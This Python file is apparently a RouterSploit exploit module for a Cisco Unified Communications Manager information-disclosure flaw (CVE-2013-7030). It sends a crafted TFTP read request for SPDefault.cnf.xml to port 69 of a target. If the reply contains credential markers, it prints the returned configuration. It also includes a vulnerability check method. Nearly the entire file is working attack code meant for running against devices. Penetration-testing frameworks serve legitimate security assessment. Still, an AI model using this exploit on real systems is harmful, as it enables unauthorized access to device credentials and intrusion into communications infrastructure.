import socket

from routersploit import (
    exploits,
    print_success,
    print_status,
    print_error,
    print_info,
    mute,
)


class Exploit(exploits.Exploit):
    """
    Exploit implementation for Cisco UCM Information Disclosure vulnerability.
    If the target is vulnerable, it is possible to read sensitive information through TFTP service.
    """
    __info__ = {
        'name': 'Cisco UCM Info Disclosure',
        'description': 'Module exploits information disclosure vulnerability in Cisco UCM devices. '
                       'If the target is vulnerable it is possible to read sensitive information through TFTP service.',
        'authors': [
            'Daniel Svartman <danielsvartman[at]gmail.com',  # vulnerability discovery
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
        ],
        'references': [
            'https://www.exploit-db.com/exploits/30237/',
            'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7030',
        ],
        'devices': [
            'Cisco UCM',
        ],
    }

    target = exploits.Option('', 'Target IP address')

    payload = "\x00\x01" + "SPDefault.cnf.xml" + "\x00" + "netascii" + "\x00"

    def run(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(10)

        print_status("Sending payload")
        sock.sendto(self.payload, (self.target, 69))

        try:
            response = sock.recv(2048)
        except:
            print_error("Exploit failed - device seems to be not vulnerable")
            return

        if len(response):
            if "UseUserCredential" in response:
                print_success("Exploit success - file {}".format("SPDefault.cnf.xml"))
                print_info(response)
            else:
                print_error("Exploit failed - credentials not found in response")
        else:
            print_error("Exploit failed - empty response")

    @mute
    def check(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(10)
        sock.sendto(self.payload, (self.target, 69))

        try:
            response = sock.recv(2048)
        except:
            return False  # target is not vulnerable

        if len(response) and "UseUserCredential" in response:
            return True  # target is vulnerable

        return False  # target is not vulnerable
